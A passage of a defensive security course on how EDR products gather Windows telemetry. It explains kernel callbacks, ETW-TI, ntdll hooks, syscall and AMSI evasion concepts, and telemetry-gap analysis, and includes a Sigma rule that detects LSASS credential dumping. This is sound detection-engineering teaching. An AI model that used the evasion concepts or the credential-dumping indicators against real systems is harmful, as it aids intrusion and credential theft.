| File (minifilter) | FltRegisterFilter | file create/read/write/rename at the filesystem layer |
| Registry | CmRegisterCallbackEx | registry key/value creation and modification |
Why they exist. Microsoft built these so security products can observe the system without the fragile, easily-bypassed approach of patching kernel code (which also trips PatchGuard). They are the supported, stable way to get ground-truth on process, image, thread, handle, file, and registry activity — exactly the events that constitute most ATT&CK techniques.
Under the hood — why kernel residency is decisive. Consider process injection (T1055): the
attacker allocates memory in a remote process, writes a payload, and starts a thread there. Even if the
attacker has perfectly blinded every user-mode sensor in their own process:
- The remote thread trips
PsSetCreateThreadNotifyRoutinein the kernel — the attacker's process cannot un-register another process's kernel callbacks. - The cross-process handle open to the target (often with
PROCESS_VM_WRITE/PROCESS_VM_OPERATIONrights) tripsObRegisterCallbacks. - The memory allocation/protect in the remote process surfaces through ETW-TI (Chapter 3), which is also kernel-emitted.
So the lesson the labs encode is true at the mechanism level: a user-mode evasion blinds user-mode
sensors; the kernel callback is the survivor. This is why Lab 02 splits sensors into USER_MODE and
KERNEL sets and asserts that no modeled evasion blinds the kernel set.
What telemetry it emits. Each callback yields a normalized event. In Sysmon terms: process-create is
Event ID 1, image-load is 7, remote-thread-create is 8 (CreateRemoteThread), handle access to another
process is 10 (ProcessAccess), file create is 11, registry is 12-14. A real EDR emits the same shape
under its own schema. The fields that matter for detection: parent/child image and command line
(process tree), the GrantedAccess mask on a ProcessAccess event (e.g. 0x1010/0x1410 rights on
LSASS are a credential-dumping tell), and the StartAddress of a remote thread landing in unbacked
memory.
How a defender detects with them. The kernel callbacks are where your robust, behavioral detections live (Chapter 8). Examples:
- Credential dumping: a
ProcessAccess(Sysmon 10) openinglsass.exewith VM-read rights from a non-system process. This survives user-mode unhooking because the handle open is a kernel event. - Injection: a
CreateRemoteThread(Sysmon 8) whose start address is in private/unbacked memory, correlated with a prior cross-process handle. - Unbacked image: an
ImageLoad(Sysmon 7) of a secondntdll, or execution from memory with no backing file on disk.
Significance. When you build a detection, prefer the kernel callback for any technique that can be blinded in user mode. In the gap analysis (Lab 01) the highest-value sensors are usually the kernel ones, precisely because they cover techniques no user-mode-only sensor can robustly see.
Common misconceptions.
- "If I unhook ntdll, the EDR is blind." You blinded the user-mode hook. The kernel callbacks did not move. (Lab 02 makes this concrete.)
- "Kernel callbacks see arguments." The notify routines deliver the fact and identifiers; the EDR enriches (command line, token) from there. Some detail (e.g. full command line) comes from the agent, not the raw callback — which is why the data must actually be collected and shipped.
- "Only a kernel implant could blind these." Correct — and that (a malicious or vulnerable signed driver, BYOVD) is a far louder, far rarer act that has its own detections (driver-load events, Microsoft's vulnerable-driver blocklist). Raising the cost from a user-mode patch to a kernel implant is itself a win on the Pyramid of Pain.
Chapter 3: ETW and ETW-TI — In-Process Telemetry vs the Kernel's Own
Zero background. ETW is Event Tracing for Windows — a high-speed logging bus baked into the
OS since Windows 2000. Components all over Windows (the .NET runtime, DNS client, WMI, PowerShell,
TCP/IP, the kernel itself) are providers that emit structured events. A consumer (the EDR, or a
tool like logman/SilkETW) subscribes to a session and receives those events. ETW is how an EDR
gets visibility into things that have no kernel callback — like what a .NET assembly did in memory.
What it is. Two flavors matter enormously and are constantly confused:
- User-mode ETW providers. Most providers run in the process being observed. The .NET CLR
provider (
Microsoft-Windows-DotNETRuntime), the PowerShell provider, the WMI provider — they callEtwEventWrite(inntdll) from inside the target process to emit their events. That is the point of leverage: code in that process can reach the writer. - ETW-TI — the Threat-Intelligence provider (
Microsoft-Windows-Threat-Intelligence). This is a kernel-emitted provider, restricted to anti-malware (PPL-protected) consumers. It surfaces the sensitive operations attackers rely on —NtAllocateVirtualMemory,NtProtectVirtualMemory,NtMapViewOfSection, remoteWriteVirtualMemory,SetThreadContext, queueing APCs — from ring 0. Because the kernel emits it, a user-mode patch in the attacker's process cannot suppress it.
user-mode ETW (CLR/DNS/WMI): payload --calls--> EtwEventWrite (ntdll, in-process) --> session
^ attacker can patch this in its own memory (BLINDABLE)
ETW-TI: kernel syscall path --emits--> Threat-Intelligence provider (ring 0) --> PPL consumer
^ attacker has no reach into ring 0 (SURVIVES)
Why it exists. Many high-value behaviors are invisible to disk-and-process sensors: a fileless .NET loader never touches disk, a PowerShell payload runs in an existing process. ETW gives the EDR an in-runtime view (what the CLR JIT-compiled, what assemblies loaded), and ETW-TI gives it a kernel-truth view of the memory operations that injection and in-memory execution require.
Under the hood — the "ETW patch" and why it is half a story. A widely-described evasion patches the
first bytes of EtwEventWrite in the attacker's own process so it returns immediately without emitting.
What that actually does: it silences the user-mode providers that route through that function in
that process — e.g. the CLR provider stops reporting the in-memory .NET activity of that process.
What it does not do: it does not touch ETW-TI, which is emitted by the kernel on the syscall path,
nor any provider in another process, nor the kernel callbacks. So a .NET injection that patches ETW to
hide its assembly loads is still seen allocating and protecting remote memory via ETW-TI and
creating a remote thread via the kernel callback.
We describe the concept and its blast radius to predict telemetry. There is no patch routine here, and none is needed to reason about what goes blind: the question is always "which provider, which boundary."
What telemetry it emits / the detection of the patch. This is the crucial pairing — the evasion is itself a detection:
- The patch is a code modification of
ntdll.text. MakingEtwEventWritewritable requires anRWX/RWprotection change on a system DLL's executable section — exactly the kind of event ETW-TI reports (a protect-to-executable on a loaded module's code). - A provider going silent is itself a signal. If a process loaded the CLR but the CLR provider emitted nothing for it, that gap is anomalous and correlatable in the backend.
- Integrity check. A defensive agent can hash or compare the first bytes of
EtwEventWriteand the known hooked functions against a clean copy; a mismatch is the tamper.
Significance. ETW-TI is the single most important data source for the in-memory tradecraft this phase covers, and it is the textbook case of the phase thesis: the in-process evasion blinds the in-process provider; the kernel provider survives and detects both the behavior and the evasion. In the gap analysis, a host that collects user-mode ETW but not ETW-TI has a named, high-value blind spot for injection and in-memory execution — and Lab 01 will rank ETW-TI as a top sensor to add.
Common misconceptions.
- "Patching ETW blinds the EDR's ETW." It blinds the user-mode providers in that process. It does not touch ETW-TI or other processes.
- "ETW-TI is just another provider I can patch." It is kernel-emitted and consumable only by a protected (PPL) anti-malware process. A user-mode payload has no patch target for it.
- "If I block the EDR's ETW session, I'm clear." Tampering with sessions (stopping a trace, removing a provider) requires privilege and is loudly auditable — another self-detecting evasion.
Chapter 4: User-Mode Hooks in ntdll — and How Syscalls Relate to Them
Zero background. When a program wants the OS to do something privileged — allocate memory, open a
process, create a thread — it calls a Win32 API (VirtualAllocEx, OpenProcess), which eventually
calls a thin ntdll stub (NtAllocateVirtualMemory, NtOpenProcess). That stub runs a syscall
instruction that traps into the kernel. ntdll is the last user-mode code on the path to the
kernel — which is exactly why an EDR wants to watch it.
What it is. Many EDRs place inline hooks in the Nt* stubs of ntdll inside monitored
processes: they overwrite the first instruction with a jmp to the EDR's own code, which inspects the
arguments (which process are you opening? what memory are you protecting to executable?), decides to
allow/block/log, then continues into the real syscall. This gives the agent argument-level
visibility and lets it act before the kernel does.
Why it exists. It is the cheapest way to get rich, synchronous, argument-level interception in user mode without a driver doing all the work. The cost: it lives in the same process as the payload, so it is reachable — the defining weakness of any in-process sensor.
Under the hood — how syscalls relate to the hooks (theory, for prediction). Because the hook is a
jmp at the start of the ntdll stub, anything that reaches the kernel without executing that stub
is not seen by the hook:
- Direct syscalls assemble the syscall sequence themselves instead of calling the hooked
ntdllstub — the call never traverses the hooked bytes. - Indirect syscalls jump to the real
syscallinstruction inside cleanntdllbut past the hook — keeping the return address insidentdllto look more legitimate. - Unhooking maps a fresh, clean copy of
ntdll(from disk or a known-good source) over the hooked one, removing the EDR'sjmp.
We describe the concept to predict what the hook stops seeing — not to build it. The point for a detection engineer is the next paragraph.
The detection — what each leaves behind. Every one of these is self-detecting, and the detection lives on a sensor the in-process trick cannot reach:
- Call-stack / return-address anomaly. When the syscall finally traps to the kernel, the kernel (via
ETW-TI stack walks) can see where the call came from. A legitimate syscall returns into
ntdll; a direct syscall returns into the payload's own private/unbacked memory — a return address outside any loaded module is a strong injection/evasion signal. - A second clean
ntdll. Unhooking maps another copy ofntdll— anImageLoad/memory-mapped section ofntdllwhen one is already present, or execution ofntdllcode that is not backed by the on-disk file. The kernel image-load callback sees the map. - Hook integrity. The agent can verify its own hooks are intact; a removed
jmpis the tamper. - The behavior still surfaces in the kernel. Whatever the syscall did — allocate remote memory,
open
LSASS, create a remote thread — still fires the kernel callback and ETW-TI. Evading the hook does not evade the consequence.
What telemetry it emits. Practically: ETW-TI events for the memory/thread operations with a
suspicious call-stack; Sysmon image-load (7) of a duplicate ntdll; the kernel CreateRemoteThread
(8) and ProcessAccess (10) for the underlying behavior. The robust detection keys on the call stack
and the kernel event, not on the API name (which the evasion specifically avoids).
Significance. This is the cleanest example in the phase of defending on the right boundary. A
detection that depends on the ntdll hook firing is brittle — the whole class of syscall techniques
exists to defeat it. A detection that keys on the kernel-observed consequence and the call-stack
anomaly is robust. When you read "the operator used indirect syscalls," your job is to say "so
the user-mode hook saw nothing; here is the ETW-TI + call-stack detection that still fires."
Common misconceptions.
- "Direct syscalls make me invisible." They make you invisible to the user-mode hook. The kernel still does the work and still reports it; the unusual call stack is more anomalous, not less.
- "Unhooking is silent." Mapping a clean
ntdllis an observable image event, and your hooks-gone state is checkable. - "Hooks are the EDR's main sensor." They are the most fragile one. Mature EDRs treat hooks as a convenience and lean on kernel callbacks + ETW-TI for ground truth.
Chapter 5: AMSI — Scanning Content at Runtime
Zero background. AMSI is the Antimalware Scan Interface. Obfuscation defeats file signatures: a PowerShell script can be Base64-encoded, string-concatenated, and compressed so nothing on disk matches a rule. But to run, the script must eventually be de-obfuscated in memory into the real commands. AMSI is Microsoft's hook at exactly that moment: scripting engines and the .NET runtime hand the final, de-obfuscated buffer to the registered antimalware provider for a verdict before they execute it.
What it is. AMSI is an API (amsi.dll, principally AmsiScanBuffer) that script hosts call to
submit content for scanning. The integrations that matter: PowerShell (every script block, including
de-obfuscated ones), Windows Script Host (VBScript/JScript), the .NET runtime (Assembly.Load
of in-memory assemblies, since .NET 4.8+), Office VBA macros, and the JScript/VBScript engines. The
registered provider (Defender, or a third-party EDR) returns clean/blocked.
Why it exists. It closes the obfuscation gap: it does not matter how the payload was encoded on disk or over the wire, because AMSI sees the content as it will actually execute. It moved the detection point from bytes at rest to content at runtime — a meaningful climb up the Pyramid of Pain.
Under the hood — where it sits, and the bypass concept. AMSI runs in-process, in the same
address space as the script host — which puts it on the blindable in-process row of Chapter 1. The
concept of an AMSI bypass is to make AmsiScanBuffer (or the AMSI context/result) stop returning a
"malicious" verdict for that process — by forcing a clean result, neutralizing the context, or
preventing amsi.dll from scanning. (We name the concept to predict telemetry; no bypass is provided
or needed to reason about the detection.) The blast radius: AMSI goes blind for that process only,
for content scanning only — it does not touch the kernel callbacks, ETW-TI, or process-create
telemetry.
The detection — the bypass is observable. AMSI sits in-process, so it can be blinded — and the act of blinding it is one of the most reliably detected things in this whole phase:
- AMSI itself is a tripwire. Submitting the well-known
AMSItest string (the EICAR-equivalent for AMSI) should always return "detected." If a process loadedamsi.dllbut a known-malicious test buffer comes back clean, AMSI was tampered with. - A patch on
amsi.dll.text. Forcing a clean result usually means modifyingamsi.dllcode or its result in memory — anRWX/write onamsi.dll, visible to ETW-TI (kernel) and to image/ memory telemetry. - PowerShell script-block logging (4104) still fires. Script-block logging is a separate sensor from AMSI; bypassing AMSI does not disable 4104. The de-obfuscated script is still logged — a classic "you blinded one sensor, the sibling sensor still saw it."
- The amsi.dll load pattern. A process that loads
amsi.dlland immediately writes to it, or one that suspiciously avoids loading it for known scriptable content, is anomalous.
What telemetry it emits. AMSI verdicts (Defender/EDR), amsi.dll image-load and any write to it
(ETW-TI / image telemetry), PowerShell 4104/4103 script-block and module logging, and process-create of
the script host with its command line. The robust detection correlates the bypass artifact with
the surviving script-block log.
Significance. AMSI is the phase's third example of the same shape: an in-process sensor that can be blinded, paired with a detection of the blinding and a sibling/kernel sensor that survives. In Lab 02, the AMSI-only script behavior, fully bypassed, is still detectable — because the bypass itself is observable. That is the single most important thing to be able to say about AMSI in an interview.
Common misconceptions.
- "Bypassing AMSI means PowerShell logging is off." No — script-block logging (4104) is a separate sensor and keeps firing.
- "AMSI blocks malware." AMSI scans content and returns a verdict; blocking is the provider's job. AMSI is a visibility surface as much as a prevention one.
- "AMSI is only for PowerShell." It also covers WSH, Office VBA, and in-memory .NET assembly loads — which is why it is relevant to the .NET tradecraft in Chapter 3.
Chapter 6: The Sensor Map and Its Blind Spots
Zero background. Now assemble the pieces. A sensor map is the inventory of every telemetry source a host actually collects, organized by what it sees and what boundary it sits at. A blind spot is a behavior for which the host collects no sensor that can see it — or only sensors a common evasion can blind. Detection engineering starts here: you cannot detect what you do not collect.
What it is. The consolidated map for this phase:
| Sensor | Boundary | Sees | Blinded by | Survivor / detection |
|---|---|---|---|---|
| Process-create callback | kernel | every process: tree, image, cmdline (enriched) | — | baseline of process trees |
| Image-load callback | kernel | every module map, signer | reflective/in-memory load (no disk module) | unbacked-memory exec; duplicate ntdll |
| Thread/handle callback | kernel | remote threads, cross-proc handles | — | injection + LSASS-access detection |
| ETW-TI | kernel | alloc/protect/inject, syscall stacks | — | the durable in-memory detection |
| Minifilter (file) | kernel | file create/write | in-memory-only tradecraft | canary/mass-write; no-disk-exec correlation |
| Network | out-of-process | connections, JA3/SNI | — | beacon timing, egress anomalies |
| user-mode ETW (CLR/etc.) | in-process | in-memory .NET, DNS, WMI | EtwEventWrite patch | ETW-TI (kernel) survives |
| ntdll hooks | in-process | syscall args | direct/indirect syscalls, unhook | call-stack anomaly; kernel consequence |
| AMSI | in-process | de-obfuscated script/.NET content | AMSI bypass | 4104 script-block; bypass artifact |
| script-block (4104) | host log | de-obfuscated PowerShell | disable logging (audited) | the disable event is logged |
Why it matters. Read the table by column: every blindable sensor is in-process, and every one has a survivor in the kernel or out-of-process rows or a sibling host log. That is the structural reason the phase thesis holds. Read it by row and you have the gap-analysis input for Lab 01 (which techniques need which sensors) and Lab 02 (which sensors a given evasion removes).
Under the hood — blind spots are missing rows, not clever attackers. The most common real blind
spot is not a sophisticated bypass; it is a data source nobody turned on. Hosts routinely run
without ETW-TI, without command-line logging, without script-block logging, without ProcessAccess
auditing. Each missing row makes a class of techniques invisible regardless of attacker skill. The gap
analysis quantifies this: given the rows you have, which techniques are detectable, partial, blind, and
which single missing row recovers the most?
The detection / methodology. The output of the sensor map is a gap map (Lab 01) and a residual analysis (Lab 02). Together they answer the report's two questions: "what could we not see at all?" (missing rows) and "what did we have a sensor for but got blinded?" (evaded rows, and the survivor that still caught it).
Significance. This chapter is the Operation Cedar Lattice Phase 07 artifact in miniature. The detection-gap map you deliver to Meridian is this table, instantiated with their actual collection, with the blind spots ranked and a plan to close them.
Common misconceptions.
- "We have an EDR, so we have visibility." You have the visibility you collect and ship. An EDR with ETW-TI disabled has the same injection blind spot as no EDR for that technique.
- "The clever evasion is the threat." More often the missing data source is. Fix the rows first.
- "More logs = better." Volume without the right rows is cost without coverage; the gap analysis optimizes for coverage gain, not log volume.
Chapter 7: Detection Engineering — Sysmon, Sigma, and the Pyramid of Pain
Zero background. Knowing what a sensor can see is half the job; the other half is writing the detection — the rule that turns telemetry into an alert. Three tools/ideas: Sysmon (a free, transparent sensor that emits EDR-shaped events you can learn on), Sigma (a vendor-neutral way to write a detection rule once and translate it to any backend), and the Pyramid of Pain (the model that tells you whether your rule is worth keeping).
Sysmon — the sensor you can read. System Monitor is a free Microsoft Sysinternals driver + service that registers the same kernel callbacks an EDR does and writes normalized events to the Windows event log. The event IDs you must know:
| Sysmon ID | Event | Detection value |
|---|---|---|
| 1 | ProcessCreate | the backbone: image, command line, hashes, parent |
| 3 | NetworkConnect | egress, beaconing |
| 7 | ImageLoad | unsigned/unbacked module loads, duplicate ntdll |
| 8 | CreateRemoteThread | injection |
| 10 | ProcessAccess | LSASS handle opens (credential dumping) — watch GrantedAccess |
| 11 | FileCreate | drops, staging |
| 12-14 | RegistryEvent | persistence keys, autoruns |
| 22 | DnsQuery | C2 over DNS, domain anomalies |
Sysmon is configured by an XML config that decides which events to capture and which to drop —
this is where you tune the sensor. The community gold standards are
SwiftOnSecurity/sysmon-config (a well-commented baseline) and Olaf Hartong's sysmon-modular (an
ATT&CK-tagged, modular config). A Sysmon config change is a telemetry decision: enabling command-line
capture or ProcessAccess on lsass.exe flips techniques from blind to detectable — the exact move Lab
01 recommends.
Sigma — write the rule once. A Sigma rule is a small YAML document describing a detection in a generic schema; converters translate it to Splunk SPL, Elastic DSL, Sentinel KQL, etc. Anatomy:
title: Suspicious LSASS Access (Credential Dumping)
id: 0e2c3f1a-... # stable UUID
status: experimental
description: A non-system process opened a handle to lsass.exe with VM-read rights.
references:
- https://attack.mitre.org/techniques/T1003/001/
logsource:
product: windows
category: process_access # Sysmon Event ID 10
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains: # read/clone rights used to dump
- '0x1010'
- '0x1410'
- '0x143a'
filter_legit:
SourceImage|endswith:
- '\MsMpEng.exe' # Defender legitimately reads lsass
- '\wininit.exe'
condition: selection and not filter_legit
falsepositives:
- Some EDR/AV and backup agents open lsass legitimately (tune by SourceImage).
level: high
tags:
- attack.credential-access
- attack.t1003.001
The parts that matter: logsource (which sensor — this is where the data-source dependency is
explicit), detection (the selection/filter/condition logic), falsepositives (honesty about
noise), and tags (ATT&CK mapping). A good rule names its data source, its FPs, and its ATT&CK
technique — which is exactly what the track's detection-pairing bar demands.
The Pyramid of Pain — is this rule worth keeping? David Bianco's model ranks indicator types by how much pain changing them costs the adversary:
TTPs <- changing how they operate: very hard (BUILD HERE)
Tools <- swap the toolkit: hard
Network/Host Artifacts <- change named pipes, paths: annoying
Domain Names <- register a new domain: simple
IP Addresses <- rotate: easy
Hash Values <- recompile/repack: trivial (AVOID RELYING HERE)
A detection on a hash is defeated by recompilation; on a TTP (the behavior — a non-system
process opening LSASS with read rights) by a fundamental redesign. The whole reason this phase teaches
which sensor sees the behavior is so you can write detections at the TTP tip, on the surviving
kernel sensor, where they cost the adversary the most.
What telemetry / how it ties together. The loop is: pick a technique → find the sensor that sees its behavior robustly (Chapters 2-6) → ensure the Sysmon/EDR config collects that sensor → write the Sigma rule on it, at the TTP level, with FP tuning → verify it fires on a benign test (the HITCHHIKER'S GUIDE). That loop is detection engineering.
Significance. This is the deliverable that makes the offensive knowledge hireable. A red teamer who can say "and here is the Sigma rule, on the kernel sensor, at the TTP level, with the false positives tuned, that closes this gap" is doing the consultant's job, not the script kiddie's.
Common misconceptions.
- "Sigma is a detection engine." No — it is a rule language; a converter compiles it to your SIEM's query language. Its value is portability and shared rules.
- "A high-fidelity hash rule is good." It is precise but brittle — bottom of the pyramid. Good detection trades a little precision for durability.
- "Sysmon is the EDR." Sysmon is a transparent sensor you learn and prototype on; an EDR adds hooks, ETW-TI, response, and a backend. Detections written on Sysmon IDs translate to EDR fields.
Chapter 8: Robust vs Brittle Detections — Behavioral Beats IOC
Zero background. Two rules can fire on the same incident yet have wildly different lifespans. A brittle rule keys on something the adversary can change in seconds; a robust rule keys on something they would have to redesign their operation to change. The difference is the Pyramid of Pain applied to your own rule.
What it is. Concretely, for credential dumping (T1003.001):
| Rule keys on | Pyramid level | Lifespan |
|---|---|---|
the hash of mimikatz.exe | hash | until they recompile (minutes) |
the string sekurlsa::logonpasswords | artifact | until they obfuscate (minutes) |
the filename mimikatz.exe | artifact | until they rename (seconds) |
a non-system process opening lsass.exe with VM-read GrantedAccess | TTP | until they find a way to read credentials without opening that handle (hard) |
The bottom three are IOC detections; the last is behavioral. The behavioral one keys on the kernel-observed consequence of the technique — the very thing the attacker's goal requires — so it survives renaming, recompiling, and (critically) user-mode evasion, because the handle open is a kernel event.
Why it matters. Every evasion in this phase is, in pyramid terms, an attempt to push your detection down the pyramid — to make your hook-based or signature-based rule miss. The counter is to build up the pyramid in the first place, on the surviving sensor. A detection engineer's instinct should be: "what is the behavior's irreducible kernel-observable consequence, and can I key on that?"
Under the hood — robustness comes from the boundary. Recall Chapter 1's boundary table. A rule on an
in-process sensor (an AMSI string, an ntdll-hook event) is brittle because the attacker shares
that boundary and can blind it. A rule on a kernel or out-of-process sensor (a ProcessAccess
to LSASS, an ETW-TI memory-protect, a beacon's network timing) is robust because the attacker cannot
reach that boundary from their payload. Robustness is not a property of cleverness; it is a property
of which boundary you key on.
The detection / how to build robust. Practical rules of thumb:
- Key on the consequence, not the tool. Detect the
LSASShandle, notmimikatz. - Prefer the lowest boundary that sees the behavior. Kernel callback > ETW-TI > user-mode ETW > hook > signature.
- Correlate siblings. Injection = remote thread (8) + cross-process handle (10) + ETW-TI alloc; any one alone is noisier, the conjunction is robust.
- Treat evasion as a detection. RWX on
ntdll/amsi.dll, a duplicatentdll, a clean AMSI verdict on the test string — the act of blinding a sensor is a high-fidelity behavioral signal. - Tune FPs by legitimate source, not by weakening the behavior. Whitelist Defender opening
LSASSbySourceImage, not by dropping the rule's rights mask.
Significance. This is the principle that separates a detection that survives a single engagement from one the client keeps for years. When Lab 01 marks a technique "partial," it is flagging a brittle coverage situation — the only present sensor is one an evasion can drop. The fix is to add the kernel sensor and rewrite the rule on it.
Common misconceptions.
- "Behavioral rules are too noisy." Well-built behavioral rules (consequence + sibling correlation + source-based FP tuning) are both durable and precise. Noise usually means the rule keyed on one weak field instead of the conjunction.
- "IOCs are useless." IOCs are cheap, fast blocks with a short shelf life — fine as a layer, fatal as the only layer. Use them, but never depend on them.
- "If it fired once, it's a good rule." Firing on the seeded test says nothing about surviving the next evasion. Judge a rule by where it sits on the pyramid.
Chapter 9: Telemetry-Gap Analysis — the Methodology
Zero background. Telemetry-gap analysis is the disciplined process of measuring, for a real host or org, the distance between the techniques you care about and the data sources you actually collect — and producing a ranked plan to close the most valuable gaps first. It is the methodology behind both labs and the Phase 07 deliverable.
What it is — the steps.
- Enumerate the techniques that matter. Not all of ATT&CK — the techniques the threat model (FIN-LATTICE, the actor you emulate) actually uses. This is the threat-informed input from Phase 01.
- Map each technique to its required data sources. What sensor(s) must exist to see this behavior robustly? (ATT&CK data sources / data components and the CTID Sensor Mappings give the canonical map; the labs use a curated slice.)
- Inventory what the host actually collects. The sensor map of Chapter 6, instantiated: which callbacks, which ETW providers (and is ETW-TI on?), command-line logging on?, AMSI?, script-block?
- Classify each technique. Detectable (all required sensors present), partial (some — a brittle
state), blind (none). This is
coverage()in Lab 01. - Find the highest-value gap. Which single missing sensor flips the most blind techniques to
detectable? That is the next investment. (
best_sensor_to_add().) - Produce the prioritized plan. Greedily add the highest-gain sensor, recompute, repeat — the
ranked telemetry-improvement roadmap. (
improvement_plan().) - For collected-but-evadable sensors, do residual analysis. For techniques that are covered, which evasions would blind the present sensor, and does a survivor remain? (Lab 02.) A technique "covered" only by a blindable in-process sensor is a hidden gap.
- Close the gap and verify. Change the Sysmon/EDR config (a new data source) and write the Sigma rule; verify it fires on a benign Atomic test (the HITCHHIKER'S GUIDE).
Why it exists. Without it, "improve our logging" is an unbounded, unprioritized wish. With it, you deliver a ranked, gain-maximizing, cost-aware roadmap: "turn on ETW-TI first — it recovers six blind techniques; then command-line logging — four more; here is each Sigma rule." That is a consulting artifact a CISO can fund.
Under the hood — it is set cover. "Which sensors cover the most techniques" is the classic set cover problem (NP-hard), so the labs use a greedy 1-step lookahead (add the locally highest-gain sensor, repeat). Greedy set cover is a well-understood approximation — a defensible prioritization, not a proven optimum, and the labs say so. In practice you also weight sensors by cost and noise (command-line and AMSI are cheap and high-value; raw kernel ETW tracing is expensive), making it a weighted set cover.
The detection / output. The artifacts: a coverage table (detectable/partial/blind per technique), the highest-value missing sensor, the improvement plan, the residual-visibility findings for evadable sensors, and the Sigma + Sysmon changes that close the top gaps. That bundle is Meridian's detection-gap map.
Significance. This methodology is the whole phase as a process. Everything else — kernel callbacks, ETW-TI, hooks, AMSI, the boundary table — exists so you can fill in steps 2, 3, and 7 correctly. Master this and you can walk into any environment and produce a defensible visibility roadmap.
Common misconceptions.
- "Coverage is binary." It is three-state, and partial is the dangerous middle — it looks covered but a single evasion drops it.
- "Add the most sensors." Add the highest-gain sensor first; the plan is about marginal coverage per unit cost, not total sensors.
- "Detectable means a rule fires noise-free." Detectable means the data exists. Writing the tuned rule on it (Chapters 7-8) is the next, separate step.
Lab Walkthrough Guidance
Both labs are pure-Python, stdlib-only, deterministic, and reason over synthetic sensor metadata.
Run the reference first to see the target behavior, then fill in lab.py.
Lab 01 — EDR Telemetry-Gap Analyzer. Order of attack:
classify(technique_id, sensors)— the core. Return detectable when all required sensors are present, blind when none are (or the technique is unknown), partial otherwise. Getpresent/missingas tuples in required order. Everything else builds on this.coverage(...)— bucket every technique byclassify's state, sort the buckets, compute thescore(fraction detectable; 0.0 for empty).blind_techniques(...)— just the blind bucket.best_sensor_to_add(...)— for each missing candidate sensor, compute how many techniques flip to detectable; return the max (ties → lexicographically smallest sensor name, for determinism). ReturnNonewhen nothing helps.improvement_plan(...)— callbest_sensor_to_addgreedily, add it to the inventory, repeat untilNone. Recordcumulative_detectableeach step.
The lesson to feel: the recommendation is the kernel/ETW-TI sensors, because they unlock the techniques no user-mode sensor robustly covers.
Lab 02 — AMSI/ETW Residual-Visibility Mapper. Order of attack:
residual_visibility(behavior, evasions)— subtract the sensors the evasions blind from the behavior's observed set; split the residual into kernel vs user. The whole lab hinges on theEVASIONSmap blinding only user-mode sensors — verify that invariant in your head first.still_detectable(...)— True if any residual sensor remains OR any applied evasion is itself detectable. The second clause is the lesson: a fully-blinded behavior is still caught because the bypass is observable.residual_detection(...)— list surviving sensors kernel-first, attach each sensor's detection and each evasion's self-detection, and summarize. When no sensor survives but an evasion is detectable, the detection is on the evasion itself.
The test you should be able to predict before running: apply every user-mode evasion to a
kernel-observed injection — the kernel sensors remain, still_detectable is True.
Success Criteria
You understand this phase when you can, without notes:
- Draw the EDR's three parts and the boundary table, and place any sensor in it.
- For any technique, name the sensor that sees it most robustly and the boundary that sensor sits at.
- Explain, for ETW patch / ntdll unhook / direct syscalls / AMSI bypass: exactly what goes blind, exactly what survives, and the detection for the evasion itself.
- State and defend the invariant: user-mode evasions do not blind kernel sensors.
- Take a host's collection, produce the coverage classification, name the highest-value missing sensor, and sketch the improvement plan — and say why partial coverage is dangerous.
- Write a Sigma rule on a kernel sensor at the TTP level with FP tuning, and a Sysmon config change that turns on a missing data source — and say how you would verify it fires.
- Tell a robust detection from a brittle one and explain the difference in Pyramid-of-Pain and trust-boundary terms.
Passing the tests is necessary, not sufficient — the bar is being able to walk an interviewer through what each sensor sees, how each evasion blinds it, and the detection that fires regardless.
Common Mistakes and OPSEC Failures
- Saying "we evaded the EDR" without naming the sensor and boundary. The finding is the named sensor, the evasion, and the survivor — not the headline.
- Conflating ETW and ETW-TI. The single most common error: user-mode ETW is in-process and patchable; ETW-TI is kernel-emitted and is not.
- Believing a user-mode patch is invisible. RWX on
ntdll/amsi.dll, a duplicatentdll, a clean AMSI verdict on the test string — every bypass is itself a high-fidelity detection. - Treating "partial" coverage as covered. One missing data source in a multi-sensor technique is a brittle, single-evasion-from-blind state.
- Writing brittle, bottom-of-pyramid rules. A hash or a command-line string is defeated in seconds; key on the kernel-observed behavior.
- Improving logging without a methodology. "Log more" is not a plan; the gap analysis produces the ranked, gain-maximizing roadmap.
- OPSEC (engagement side): assuming the operator's evasion is silent. A mature SOC alerts on the evasion artifacts. In a report, the durable, embarrassing finding for the client is often "your EDR could have caught the bypass and didn't, because the data source was off."
Interview Q&A
Q1. Walk me through how a modern EDR builds its picture.
Three parts. A kernel-mode driver (ring 0) registers Windows notify callbacks — process-create,
image-load, thread-create, handle (ObRegisterCallbacks), file (minifilter), registry — and consumes
the kernel ETW-TI provider; because it is in the kernel, a user-mode payload cannot reach it. A
user-mode agent (ring 3) reads user-mode ETW sessions (CLR/DNS/WMI/PowerShell), places inline
hooks in ntdll to inspect syscall arguments, registers an AMSI provider for scripts, and ships
telemetry up. A cloud backend correlates across the fleet, scores, enriches with intel, and surfaces
to analysts. The key framing is trust boundaries: kernel and out-of-process sensors are
evasion-resistant; in-process sensors (ntdll hooks, user-mode ETW, AMSI) share the boundary with the
payload and can be blinded — which is why every robust detection keys on the lower boundary.
Q2. Which kernel callbacks does an EDR register, and why does kernel residency matter?
PsSetCreateProcessNotifyRoutineEx (process), PsSetLoadImageNotifyRoutine (image), PsSetCreate ThreadNotifyRoutine (thread, including remote), ObRegisterCallbacks (handle/object), FltRegister Filter (file), CmRegisterCallbackEx (registry). Residency matters because they fire from ring 0: a
user-mode payload cannot un-register or intercept another process's kernel callbacks. So even a payload
that has perfectly unhooked ntdll and patched ETW in its own process still trips the kernel callback
when it creates a remote thread or opens a handle to LSASS. The kernel callback is the survivor —
which is why my robust detections live there.
Q3. Explain ETW vs ETW-TI. If someone patches EtwEventWrite, what goes blind and what survives?
User-mode ETW providers (CLR, DNS, WMI, PowerShell) run in the observed process and route through
EtwEventWrite in ntdll. Patching it in the payload's own memory silences those user-mode
providers for that process — e.g. the CLR provider stops reporting in-memory .NET. It does not
touch ETW-TI, the kernel-emitted Threat-Intelligence provider (alloc/protect/inject, syscall
stacks), nor other processes, nor the kernel callbacks. And the patch is self-detecting: making
EtwEventWrite writable is an RWX protection change on ntdll .text, which ETW-TI reports; a CLR
process that emits no CLR events is an anomalous gap; an integrity check on the function's bytes catches
the modification. So the right answer is: user-mode ETW blind, ETW-TI + kernel callbacks survive, and
the patch itself is a detection.
Q4. How do ntdll hooks work, how do syscalls evade them, and what is the detection?
EDRs overwrite the first bytes of ntdll's Nt* stubs with a jmp to their code to inspect syscall
arguments before the kernel acts. Reaching the kernel without executing the hooked stub evades it:
direct syscalls assemble the syscall themselves; indirect syscalls jump to the real syscall
instruction inside clean ntdll past the hook; unhooking maps a clean ntdll over the hooked one.
